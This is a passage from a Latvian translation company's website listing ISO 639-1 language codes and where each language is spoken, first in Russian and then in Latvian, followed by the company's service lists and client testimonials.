Америки) Содружество Северных Марианских островов CO Корсиканский язык Корсика (Французская Республика, север Сардинии (Итальянская Республика) CR Язык кри Язык индейцев Канады CS Чешский язык Чешская Республика CU Старославянский язык Первый литературный славянский язык (язык Библии и других древних текстов) CV Чувашский язык Чувашская республика и соседние государства (Российская Федерация) CY Уэльсский язык Уэльс (Соединённое Королевство Великобритании и Северной Ирландии) DA Датский язык Королевство Дания DE Немецкий язык Австрийская Республика, Королевство Бельгия, Княжество Лихтенштейн, Великое Герцогство Люксембург, Швейцарская Конфедерация, Федеративная Республика Германия DV Мальдивский язык Мальдивская Республика DZ Дзонг-кэ Королевство Бутан EE Язык эве Республика Бенин, Республика Гана, Республика Того EL Греческий язык Греческая Республика, Республика Кипр EN Английский язык Соединенные Штаты Америки, Австралийский Союз, Южноафриканская Республика, Канада, Соединённое Королевство Великобритании и Северной Ирландии и др. EO Эсперанто Искуственно созданный язык международного общения ES Испанский язык Королевство Испания, некоторые страны Южной Америки ET Эстонский язык Эстонская Республика EU Баскский язык Юго-запад Французской Республики, центральная часть королевства Испания FA Персидский язык Исламское государство Афганистан, Исламская Республика Иран, Республика Таджикистан FF Фулах Республика Гамбия, Гвинейская Республика, Республика Камерун, Республика Сенегал, Республика Судан FI Финский язык Финляндская Республика FJ Фиджи Республика Фиджи FO Фарерский язык Фарерские острова (Королевство Дания) FR Французский язык Королевство Бельгия, Французская Республика, Канада, Великое Герцогство Люксембург, некоторые государства Африки FY Западно-фризский язык Север Королевства Нидерландов GA Ирландский язык Ирландия, Соединённое Королевство Великобритании и Северной Ирландии GD Гэльский язык Шотландия (север Соединённого Королевства Великобритании и Северной Ирландии) GL Галисийскийязык Галисия (королевство Испания), Португальская Республика GN Язык гуарани Республика Парагвай GU Гуджарати Гуджарат и другие территории Индийского союза (республика Индия) GV Мэнский язык Остров Мэн (север Соединённого Королевства Великобритании и Северной Ирландии) HA Язык Хауса Республика Нигер, север Федеративной Республики Нигерия HE Иврит, древнееврейский язык Израиль HI Хинди Центр и север Республики Индия HO Язык хиримоту Независимое Государство Папуа — Новая Гвинея HR Хорватский язык Республика Босния и Герцеговина, Республика Хорватия, республика Черногория HT Гаитянский язык Республика Гаити HU Венгерский язык Республика Венгрия HY Армянский язык Республика Армения HZ Гереро Республика Ботсвана, Республика Намибия IA Интерлингва Международный вспомогательный язык, разработанный в 1936—1951 годах Международной ассоциацией вспомогательного языка IN Индонезийский язык Республика Индонезия IE Интерлингве Искусственный язык, созданный в в 1922 году Эдгаром де Валем IG Язык игбо Федеративная Республика Нигерия II Язык ji провинции Сычуань Сычуань (Китайская Народная Республика) IK Инупиак Север и северо-запад Аляски (Соединенные Штаты Америки) IO Идо Созданный в 1907 году искуственный язык IS Исландский язык Республика Исландия IT Итальянский язык Итальянская Республика, Республика Сан-Марино, Швейцарская Конфедерация, город-государство Ватикан IU Инуитские языки Север Канады JA Японский язык Япония JV Яванский язык Остров Ява (Республика Индонезия) KA Грузинский язык Грузия KG Язык конго Республика Ангола, Демократическая Республика Конго, Республика Конго KI Язык кикуйю Республика Кения KJ Киньяма Республика Ангола, Республика Намибия KK Казахский язык Республика Казахстан, Республика Киргизстан. Российская Федерация, Республика Узбекистан KL Гренландский язык Гренландия (зависимая территория Дании) KM Кхмерский язык Королевство Камбоджа, Социалистическая Республика Вьетнам KN Язык каннада Карнатака (Республика Индия) KO Корейский язык Республика Корея, Корейская Народно-Демократическая Республика KR Канури Республика Чад, Республика Камерун, Республика Нигер, Федеративная Республика Нигерия KS Кашмири Джамму и Кашмир (Республика Индия), Исламская Республика Казахстан KU Курдский язык Север Республики Ирак, северо-запад Исламской Республики Иран, юго-восток Турецкой Республики KV Язык коми Республика Коми (Российская Федерация) KW Корнский язык Корнуолл (Соединенное Королевство Великобритании и Ирландии) KY Киргизский язык Республика Киргизстан LA Латинский язык Официальный язык города-государства Ватикан, Римско-католической церкви. В настоящее время латинский язык употребляется в биологии, медицине и др. как международный язык научной терминологии LB Люксембургский язык Великое Герцогство Люксембург LG Ганда Юго-восток Уганды (Республика Уганда) LI Лимбургский язык Королевство Бельгия, приграничье Голландии (Королевство Нидерландов),Федеративная Республика Германия LN Лингала Демократическая Республика Конго, Республика Конго LO Лаосский язык Лаосская Народно-Демократическая Республика, Королевство Таиланд LT Литовский язык Литовская Республика LU Луба-катанга Демократическая Республика Конго LV Латышский язык Латвийская Республика MG Малагасийский Республика Мадагаскар MH Маршалльский Республика Маршалловы Острова, Республика Науру MI Маори Новая Зеландия MK Македонский язык Республика Македония ML Малаялам Керал (Республика Индия) MN Монгольский язык Монголия MO Молдавский язык Республика Молдова MR Маратхи Махараштра (Республика Индия) MS Малайский язык Восточный Тимор, Государство Бруней-Даруссалам, Республика Индонезия, Республика Сингапур MT Мальтийский язык Республика Мальта MY Бирманский язык Союз Мьянма NA Науруанский язык Республика Науру NB Норвежский букмол Одна из двух форм норвежского языка в Королевстве Норвегия, сформировавшаяся на основе датской лексики и грамматики, но с фонетикой норвежского языка ND Ндебеле северный Республика Зимбабве NE Непальский язык Королевство Бутан, Республика Индия, Союз Мьянма, Королевство Непал NG Ндунга Юг Анголы (Республика Ангола), Республика Намибия NL Голландский язык Королевство Бельгия, Королевство Нидерландов NN Новонорвежский язык Одна из форм современного литературного норвежского языка в Королевстве Норвегия, которую создал в 50-е годы 19-го столетия Ивар Осен, синтезировав диалекты норвежского языка NO Норвежский язык Королевство Норвегия NR Ндебеле южный Южноафриканская Республика, Королевство Лесото NV Навахо Язык индейского племени навахо (Соединенные Штаты Америки) NY Ньянджа Республика Малави, центральная и южная часть Африканского континента OC Окситанский язык Юг Французской Республики OJ Оджибве Соединенные Штаты Америки, Канада OM Оромо Федеративная Демократическая Республика Эфиопия, Республика Кения OR Ория Орисса (Республика Индия) OS Осетинский язык Грузия, Российская Федерация PA Пенджабский Республика Индия, Исламская республика Пакистан PI Пали Литературный и литургический язык в Республике Индия PL Польский язык Республика Польша PS Пушту Исламское государство Афганистан, северо-запад Исламской Республики Пакистан PT Португальский язык Республика Ангола, Восточный Тимор, Федеративная Республика Бразилия, Республика Экваториальная Гвинея, республика Мозамбик, Республика Португалия и др. QU Кечуа Республика Аргентина, Республика Боливия, Республика Чили, Республика Эквадор, республика Колумбия, Республика Перу RM Ретороманский язык Швейцарская Конфедерация RN Рунди Республика Бурунди, Демократическая Республика Конго, Объединённая Республика Танзания RO Румынский язык Республика Молдова, Румыния RU Русский язык Российская Федерация RW Руанда Республика Руанда SA Санскрит Один из литургических языков буддизма и индуизма в республике Индия SC Сардинский язык Сардиния (Итальянская Республика) SD Синдхи Республика Индия, Исламская Республика Пакистан SE Северосаамский язык Север Королевства Норвегия, республика Карелия (Российская Федерация), Финляндская Республика, Королевство Швеция SG Санго Центральноафриканская Республика SI Сингальский Демократическая Социалистическая Республика Шри-Ланка SK Словакский язык Словацкая Республика SL Словенский язык Республика Словения SM Самоанский язык Независимое Государство Самоа SN Шона Юг Республики Замбия, Республика Зимбабве SO Сомали Республика Джибути, Федеративная Демократическая Республика Эфиопия, республика Йемен, Демократическая Республика Сомали SQ Албанский язык Республика Албания, Республика Косово SR Сербский язык Республика Босния и Герцеговина, Республика Хорватия, Республика Черногория. Республика Сербия SS Свази Южноафриканская Республика, Королевство Свазиленд ST Сото южный Южноафриканская Республика, Королевство Лесото SU Сунданский язык Остров Ява (республика Индонезия) SV Шведский язык Финляндская Республика, Королевство Швеция SW Суахили Республика Кения, Объединённая Республика Танзания, Республика Уганда TA Тамильский Республика Индия, Демократическая Социалистическая Республика Шри-Ланка TE Телугу Республика Индия TG Таджикский язык Исламское государство Афганистан, Исламская Республика Иран, республика Таджикистан TH Тайский язык Королевство Камбоджа, север Малайзийской Федерации, Союз Мьянма, Королевство Лесото, Королевство Таиланд TI Тигре Эритрея, Федеративная Демократическая Республика Эфиопия TK Туркменский язык Исламское государство Афганистан, Республика Ирак, Исламская Республика Иран, Турецкая Республика, Туркменистан TL Тагальский язык Республика Филиппины TN Язык Тсвана Республика Ботсвана. Южноафриканская Республика TO Тонганский язык Королевство Тонга TR Турецкий язык Республика Кипр, Турецкая Республика TS Язык тсонга Южноафриканская Республика, Республика Мозамбик, королевство Свазиленд, республика Зимбабве TT Татарский язык Республика Казахстан, Республика Киргизстан, Украина, Республика Узбекистан, Республика Татарстан (Российская Федерация) TW Язык тви Республика Гана TY Таитянский язык Французская Полинезия UG Уйгурский язык Республика Казахстан, Республика Киргизстан, республика Таджикистан, Туркменистан, Республика Узбекистан UK Украинский язык Украина UR Урду Республика Индия, Исламская Республика Пакистан UZ Узбекский язык Республика Узбекистан VE Венда Южноафриканская Республика, республика Зимбабве VI Вьетнамский язык Социалистическая Республика Вьетнам VO Волапюк Искусственный язык, созданный в 1879 году немецким священником Иоганном Мартином Шлейером WO Волоф Республика Гамбия, Исламская Республика Мавритания, Республика Сенегал XH Язык коса Южноафриканская Республика YI Идиш Язык, на котором говорит еврейская диаспора во всем мире, например, в США, Соединенном Королевстве Великобритании и Ирландии, Российской Федерации, Королевстве Швеция и др. YO Йоруба Республика Бенин, Федеративная Республика Нигерия, Республика Того ZA Чжуанский язык Китайская Народная Республика ZH Китайский язык Китайская Народная Республика ZU Язык зулу Южноафриканская Республика, республика Малави, Республика Мозамбик, королевство Свазиленд, республика Зимбабве ЯЗЫКОВЫЕ УСЛУГИ, КОТОРЫЕ МЫ ЧАЩЕ ВСЕГО ПРЕДОСТАВЛЯЕМ СВОИМ КЛИЕНТАМ: специализированные и общие письменные переводы; срочные письменные переводы; нотариально заверенные переводы; локализация; машинный перевод для предприятий; устные переводы; адаптация текстов и копирайтинг; DTP — графическая обработка текстов; детские лагеря; языковые курсы; и др. НЕОБХОДИМ ПЕРЕВОД? ИЩЕТЕ ЯЗЫКОВОЕ РЕШЕНИЕ ИЛИ ЭКСПЕРТА, КОТОРЫЙ МОЖЕТ ДАТЬ СОВЕТ? Отправить запрос В КАКИХ ОТРАСЛЯХ НАИБОЛЕЕ ВОСТРЕБОВАНЫ НАШИ ПЕРЕВОДЫ? Страхование Строительство Человеческие ресурсы (HR) Машиностроение и железнодорожная промышленность Туризм Сельское хозяйство Юриспруденция Медицина и клинические исследования Лесоводство Игры и ИТ Производство Государственные и муниципальные учреждения Торговля Реклама и маркетинг Финансы и банковская деятельность ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  --- > Tie ir valodu identifikatori, kas tika izstrādāti terminoloģijas, lingvistikas, tulkojuma un dokumentācijas un informācijas vajadzībām. - Published: 2019-10-17 - Modified: 2024-10-11 - URL: https://skrivanek.lv/valodu-kodi/ - Translation Priorities: Optional ISO 639-1 valodu kodi apzīmē lielāko pasaules valodu nosaukumus. Tie ir valodu identifikatori, kas tika izstrādāti terminoloģijas, lingvistikas, tulkojuma un dokumentācijas, leksikogrāfijas un informācijas vajadzībām. Kodu piešķir Infoterm jeb Starptautiskais terminoloģijas informācijas centrs (The International Information Centre for Terminology), kas atrodas Vīnē, Austrijā. VALODAS KODS (pēc ISO 639-1) VALODAS NOSAUKUMS LATVIEŠU VALODĀ VALSTIS UN TERITORIJAS, KURĀS VALODU LIETO AA Afāru valoda Džibutijas Republika, Eritreja, Etiopijas Federatīvā Demokrātiskā Republika AB Abhāzu valoda Abhāzija (Gruzija) AE Avesta Irānas Islāma Republika AF Afrikandu valoda Dienvidāfrikas Republika, Namībijas Republika AK Akanu valoda Ganas Republika, Kotdivuāras Republikas austrumi AM Amharu valoda Etiopijas Federatīvā Demokrātiskā Republika AN Aragoniešu valoda Aragona (Spānijas Karaliste) AR Arābu valoda Alžīrijas Tautas Demokrātiskā Republika, Apvienotie Arābu Emirāti, Bahreinas Karaliste, Jemenas Republika, Jordānijas Hāšimītu Karaliste, Katara, Kuveita, Lībijas Sociālistiskā Arābu Tautas Džamāhīrija, Marokas Karaliste, Omānas Sultanāts, Rietumsahāra, Saūda Arābijas Karaliste, Sudānas Republika, Tunisijas Republika AS Asamiešu valoda Asama (Indijas Republika) AV Avāru valoda Azerbaidžānas ziemeļrietumi (Azerbaidžānas Republika), Dagestānas Republika (Krievijas Federācija) AY Aimaru valoda Aimaru cilts indiāņu valoda – Bolīvijas Republikas rietumi, Čīles Republikas ziemeļi, Peru Republikas dienvidi AZ Azerbaidžāņu valoda Azerbaidžānas Republika, Irānas Islāma Republikas ziemeļrietumi BA Baškīru valoda Baškortostānas Republika (Krievijas Federācija) BE Baltkrievu valoda Baltkrievijas Republika BG Bulgāru valoda Bulgārijas Republika BH Biharu valoda Bihāra (Indijas Republika) BI Bišlamā Vanuatu Republika BM Bambaru valoda Burkinafaso, Kotdivuāras Republika, Senegālas Republika BN Bengāļu valoda Asama un Bengālijas rietumi (Indijas Republika), Bangladešas Tautas Republika BO Tibetiešu valoda Tibeta (Ķīnas Tautas Republika) BR Bretoņu valoda Bretaņa (Francijas Republika) BS Bosniešu valoda Bosnijas un Hercegovinas Republika, Melnkalnes Republika, Serbijas Republika CA Katalāņu valoda Andoras Firstiste, Katalonija (Spānijas Karaliste) CE Čečenu valoda Čečenijas Republika (Krievijas Federācija) CH Čamorru valoda Amerikas Savienoto Valstu Guamas teritorija, Ziemeļu Marianas Salu Sadraudzība CO Korsikāņu valoda Korsika (Francijas Republika), Sardīnijas ziemeļi (Itālijas Republika) CS Čehu valoda Čehijas Republika CU Senslāvu valoda Pirmā literārā slāvu valoda (Bībeles u. c. senu tekstu pierakstos) CV Čuvašu valoda Čuvašijas Republika un tās kaimiņvalstis (Krievijas Federācija) CY Velsiešu valoda Velsa (Lielbritānijas un Ziemeļīrijas Apvienotā Karaliste) DA Dāņu valoda Dānijas Karaliste DE Vācu valoda Austrijas Republika, Beļģijas Karaliste, Lihtenšteinas Firstiste, Luksemburgas Lielhercogiste, Šveices Konfederācija, Vācijas Federatīvā Republika DV Maldīviešu valoda Maldīvijas Republika DZ Dzongke Butānas Karaliste EE Evu valoda Beninas Republika, Ganas Republika, Togo Republika EL Grieķu valoda Grieķijas Republika, Kipras Republika EN Angļu valoda Amerikas Savienotās Valstis, Austrālijas Savienība, Dienvidāfrikas Republika, Kanāda, Lielbritānijas un Ziemeļīrijas Apvienotā Karaliste u. c. EO Esperanto Mākslīgi veidotā starptautiskā saziņas valoda ES Spāņu valoda Spānijas Karaliste, vairākas Dienvidamerikas valstis ET Igauņu valoda Igaunijas Republika EU Basku valoda Francijas Republikas dienvidrietumi, Spānijas Karalistes centrālā daļa FA Persiešu valoda Afganistānas Islāma Valsts, Irānas Islāma Republika, Tadžikistānas Republika FF Fulu valoda Gambijas Republika, Gvinejas Republika, Kamerūnas Republika, Senegālas Republika, Sudānas Republika FI Somu valoda Somijas Republika FJ Fidžiešu valoda Fidži Republika FO Fēru valoda Fēru salas (Dānijas Karaliste) FR Franču valoda Beļģijas Karaliste, Francijas Republika, Kanāda, Luksemburgas Lielhercogiste, vairākas Āfrikas valstis FY Rietumfrīzu valoda Nīderlandes Karalistes ziemeļi GA Īru valoda Īrija, Lielbritānijas un Ziemeļīrijas Apvienotā Karaliste GD Gēlu valoda Skotija (Lielbritānijas un Ziemeļīrijas Apvienotā Karaliste) GL Galisiešu valoda Galīsijā (Spānijas Karaliste), Portugāles Republika GN Gvaranu valoda Paragvajas Republika GU Gudžaratu valoda Gudžarata un citas Indijas savienības teritorijas (Indijas Republika) GV Meniešu valoda Menas sala (Lielbritānijas un Ziemeļīrijas Apvienotā Karaliste) HA Hausu valoda Nigēras Republika, Nigērijas Federatīvās Republikas ziemeļi HE Ivrits, senebreju valoda Izraēla HI Hindi Indijas Republikas centrs un ziemeļi HO Hirimotu valoda Papua-Jaungvinejas Neatkarīgā Valsts HR Horvātu valoda Bosnijas un Hercegovinas Republika, Horvātijas Republika, Melnkalnes Republika HT Haitiešu valoda Haiti Republika HU Ungāru valoda Ungārijas Republika HY Armēņu valoda Armēnijas Republika HZ Hereru valoda Botsvānas Republika, Namībijas Republika IA Interlingva Starptautiska palīgvaloda, kuru laika posmā no 1937. gada līdz 1951. gadam izveidoja Starptautiskā Palīgvalodu asociācija IN Indonēziešu valoda Indonēzijas Republika IE Interlingve 1922. gadā Edgara de Vāla izveidota mākslīgā valoda IG Igbo valoda Nigērijas Federatīvā Republika II Sičuaņas ji valoda Sičuaņa (Ķīnas Tautas Republika) IK Inupiaku valoda Aļaskas ziemeļi un ziemeļrietumi (Amerikas Savienotās Valstis) IO Ido 1907. gadā izveidota mākslīgā valoda IS Islandiešu valoda Islandes Republika IT Itāļu valoda Itālijas Republika, Sanmarīno Republika, Šveices Konfederācija, Vatikāna Pilsētvalsts IU Inuītu valoda Kanādas ziemeļi JA Japāņu valoda Japāna JV Javiešu valoda Javas sala (Indonēzijas Republika) KA Gruzīnu valoda Gruzija KG Kongu valoda Angolas Republika, Kongo Demokrātiskā Republika, Kongo Republika KI Kikuju valoda Kenijas Republika KJ Kvaņamu valoda Angolas Republika, Namībijas Republika KK Kazahu valoda Kazahstānas Republika, Kirgizstānas Republika, Krievijas Federācija, Ukraina, Uzbekistānas Republika KL Grenlandiešu valoda Grenlande (Dānijas Republika) KM Khmeru valoda Kambodžas Karaliste, Vjetnamas Sociālistiskā Republika KN Kannadu valoda Karnataka (Indijas Republika) KO Korejiešu valoda Korejas Republika, Korejas Tautas Demokrātiskā Republika KR Kanuru valoda Čadas Republika, Kamerūnas Republika, Nigēras Republika, Nigērijas Federatīvā Republika KS Kašmiriešu valoda Džammu un Kašmira (Indijas Republika), Pakistānas Islāma Republika KU Kurdu valoda Irākas Republikas ziemeļi, Irānas Islāma Republikas ziemeļrietumi, Turcijas Republikas dienvidaustrumi KV Komiešu valoda Komi Republika (Krievijas Federācija) KW Korniešu valoda Kornvola (Lielbritānijas un Ziemeļīrijas Apvienotā Karaliste) KY Kirgīzu valoda Kirgizstānas Republika LA Latīņu valoda Vatikāna Pilsētvalsts, Romas Katoļu baznīcas oficiālā valoda. Šobrīd latīņu valoda tiek lietota bioloģijā un medicīnā u. c. kā starptautiski saprotama zinātniskās terminoloģijas valoda. LB Luksemburgiešu valoda Luksemburgas Lielhercogiste LG Gandu valoda Ugandas dienvidaustrumi (Ugandas Republika) LI Limburgiešu valoda Beļģijas Karaliste, Holandes pierobeža (Nīderlandes Karaliste), Vācijas Federatīvā Republika LN Lingala Kongo Demokrātiskā Republika, Kongo Republika LO Laosiešu valoda Laosas Tautas Demokrātiskā Republika, Taizemes Karaliste LT Lietuviešu valoda Lietuvas Republika LU Lubakatanga Kongo Demokrātiskā Republika LV Latviešu valoda Latvijas Republika MG Malagasu valoda Madagaskaras Republika MH Māršaliešu valoda Māršala Salu Republika, Nauru Republika MI Maoru valoda Jaunzēlande MK Maķedoniešu valoda Maķedonijas Republika ML Malajalu valoda Kerala (Indijas Republika) MN Mongoļu valoda Mongolija MO Moldāvu valoda Moldovas Republika MR Marathu valoda Maharaštra (Indijas Republika) MS Malajiešu valoda Austrumtimora, Brunejas Darusalamas Valsts, Indonēzijas Republika, Malaizijas Federācija, Singapūras Republika MT Maltiešu valoda Maltas Republika MY Birmiešu valoda Mjanmas Savienība NA Nauruiešu valoda Nauru Republika NB Norvēģu bukmols Viena no divām norvēģu valodas rakstu formām Norvēģijas Karalistē, tās pamatā ir dāņu valodas leksika un gramatika, bet norvēģu valodas fonētika. ND Ziemeļndebelu valoda Zimbabves Republika NE Nepāliešu valoda Butānas Karaliste, Indijas Republika, Mjanmas Savienība, Nepālas Karaliste NG Ndongu valoda Angolas dienvidi (Angolas Republika), Namībijas Republika NL Holandiešu valoda Beļģijas Karaliste, Nīderlandes Karaliste NN Jaunnorvēģu valoda Viena no divām norvēģu valodas rakstu formām Norvēģijas Karalistē, kuru 19. gs. 50. gados izveidoja valodnieks Īvars Osens, sintezējot norvēģu valodas dialektus. NO Norvēģu valoda Norvēģijas Karaliste NR Dienvidndebelu valoda Dienvidāfrikas Republika NV Navahu valoda Navahu cilts indiāņu valoda (Amerikas Savienotās Valstis) NY Čičeva Malāvijas Republika, Āfrikas kontinenta centrālā daļa un dienvidi OC Oksitāņu valoda Francijas Republikas dienvidi OJ Odžibvu valoda Amerikas Savienotās Valstis, Kanāda OM Oromu valoda Etiopijas Federatīvā Demokrātiskā Republika, Kenijas Republika OR Oriju valoda Orisa (Indijas Republika) OS Osetīnu valoda Gruzija, Krievijas Federācija PA Pandžabu valoda Indijas Republika, Pakistānas Islāma Republika PI Pāli valoda Literārā un liturģiskā valoda Indijas Republikā PL Poļu valoda Polijas Republika PS Puštu Afganistānas Islāma Valsts, Pakistānas Islāma Republikas ziemeļrietumi PT Portugāļu valoda Angolas Republika, Austrumtimora, Brazīlijas Federatīvā Republika, Ekvatoriālās Gvinejas Republika, Mozambikas Republika, Portugāles Republika u. c. QU Kečvu valoda Argentīnas Republika, Bolīvijas Republika, Čīles Republika, Ekvadoras Republika, Kolumbijas Republika, Peru Republika RM Retoromāņu valoda Šveices Konfederācija RN Rundu valoda Burundijas Republika, Kongo Demokrātiskā Republika, Tanzānijas Savienotā Republika RO Rumāņu valoda Moldovas Republika, Rumānija RU Krievu valoda Krievijas Federācija RW Kiņaruanda Ruandas Republika SA Sanskrits Budisma un hinduisma viena no liturģiskajām valodām Indijas Republikā SC Sardīniešu valoda Sardīnija (Itālijas Republika) SD Sindhu valoda Indijas Republika, Pakistānas Islāma Republika SE Ziemeļsāmu valoda Norvēģijas Karalistes ziemeļi, Karēlijas Republika (Krievijas Federācija), Somijas Republika, Zviedrijas Karaliste SG Sangu valoda Centrālāfrikas Republika SI Singāļu valoda Šrilankas Demokrātiskā Sociālistiskā Republika SK Slovāku valoda Slovākijas Republika SL Slovēņu valoda Slovēnijas Republika SM Samoāņu valoda Samoa Neatkarīgā Valsts SN Šonu valoda Zambijas Republikas dienvidi, Zimbabves Republika SO Somāļu valoda Džibutijas Republika, Etiopijas Federatīvā Demokrātiskā Republika, Jemenas Republika, Kenijas Republika, Somālijas Demokrātiskā Republika SQ Albāņu valoda Albānijas Republika, Kosovas Republika SR Serbu valoda Bosnijas un Hercegovinas Republika, Horvātijas Republika, Melnkalnes Republika, Serbijas Republika SS Svatu valoda Dienvidāfrikas Republika, Svazilendas Karaliste ST Dienvidsotu valoda Dienvidāfrikas Republika, Lesoto Karaliste SU Zundu valoda Javas sala (Indonēzijas Republika) SV Zviedru valoda Somijas Republika, Zviedrijas Karaliste SW Svahili Kenijas Republika, Tanzānijas Savienotā Republika, Ugandas Republika TA Tamilu valoda Indijas Republika, Singapūras Republika, Šrilankas Demokrātiskā Sociālistiskā Republika TE Telugu valoda Indijas Republika TG Tadžiku valoda Afganistānas Islāma Valsts, Irānas Islāma Republika, Tadžikistānas Republika TH Taju valoda Kambodžas Karaliste, Malaizijas Federācijas ziemeļi, Mjanmas Savienība, Lesoto Karaliste, Taizemes Karaliste TI Tigru valoda Eritreja, Etiopijas Federatīvā Demokrātiskā Republika TK Turkmēņu valoda Afganistānas Islāma Valsts, Irākas Republika, Irānas Islāma Republika, Turcijas Republika, Turkmenistāna TL Tagalu valoda Filipīnu Republika TN Cvanu valoda Botsvānas Republika, Dienvidāfrikas Republika TO Tongiešu valoda Tongas Karaliste TR Turku valoda Kipras Republika, Turcijas Republika TS Congu valoda Dienvidāfrikas Republika, Mozambikas Republika, Svazilendas Karaliste, Zimbabves Republika TT Tatāru valoda Kazahstānas Republika, Kirgizstānas Republika, Ukraina, Uzbekistānas Republika, Tatarstānas Republika (Krievijas Federācija) TW Tvī valoda Ganas Republika TY Taitiešu valoda Francijas Polinēzijas teritorija UG Uiguru valoda Kazahstānas Republika, Kirgizstānas Republika, Tadžikistānas Republika, Turkmenistāna, Uzbekistānas Republika UK Ukraiņu valoda Ukraina UR Urdu Indijas Republika, Pakistānas Islāma Republika UZ Uzbeku valoda Uzbekistānas Republika VE Vendu valoda Dienvidāfrikas Republika, Zimbabves Republika VI Vjetnamiešu valoda Vjetnamas Sociālistiskā Republika VO Volapiks Mākslīgā valoda, kuru no 1879. līdz 1880. gadam izveidoja vācu garīdznieks Johans Martins Šleijers WO Volofu valoda Gambijas Republika, Mauritānijas Islāma Republika, Senegālas Republika XH Khosu valoda Dienvidāfrikas Republika YI Jidišs Ebreju valoda, kurā pārsvarā runā ebreju diasporas visā pasaulē, piemēram, Amerikas Savienotajās Valstīs, Lielbritānijas un Ziemeļīrijas Apvienotajā Karalistē, Krievijas Federācijā, Zviedrijas Karalistē u. c. YO Jorubu valoda Beninas Republika, Nigērijas Federatīvā Republika, Togo Republika ZA Džuanu valoda Ķīnas Tautas Republika ZH Ķīniešu valoda Ķīnas Tautas Republika ZU Zulu valoda Dienvidāfrikas Republika, Malāvijas Republika, Mozambikas Republika, Svazilendas Karaliste, Zimbabves Republika VALODU PAKALPOJUMI, KURUS VISBIEŽĀK NODROŠINĀM MŪSU KLIENTIEM: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojums ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; mutiskie tulkojumi; tekstu adaptācija un radošo tekstu sagatavošana; DTP – tekstu grafiskā apstrāde; bērnu nometnes; valodu kursi; u. c. NEPIECIEŠAMS TULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Sazināties VALODU PAKALPOJUMI, KURUS VISBIEŽĀK NODROŠINĀM MŪSU KLIENTIEM: specializēti un vispārīgi rakstiskie tulkojumi; steidzami rakstiskie tulkojumi; tulkojums ar notāra apliecinājumu; lokalizācija; mašīntulkošana ar rediģēšanu; mutiskie tulkojumi; tekstu adaptācija un radošo tekstu sagatavošana; DTP – tekstu grafiskā apstrāde; bērnu nometnes ; valodu kursi ; u. c. NEPIECIEŠAMS TULKOJUMS? MEKLĒJIET VALODU RISINĀJUMU VAI NEPIECIEŠAMA KONSULTĀCIJA? Sazināties NOZARES, KURĀS VISBIEŽĀK VEIKTI TULKOJUMI Apdrošināšana Būvniecība Cilvēkresursi (HR) Finanses un banku darbība IT un spēles Lauksaimniecība Jurisprudence Mežkopība Mašīnbūve un dzelzceļš Medicīna un klīniskie pētījumi Ražošana Reklāma un mārketings Tirdzniecība Tūrisms Valsts un pašvaldību iestādes KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj 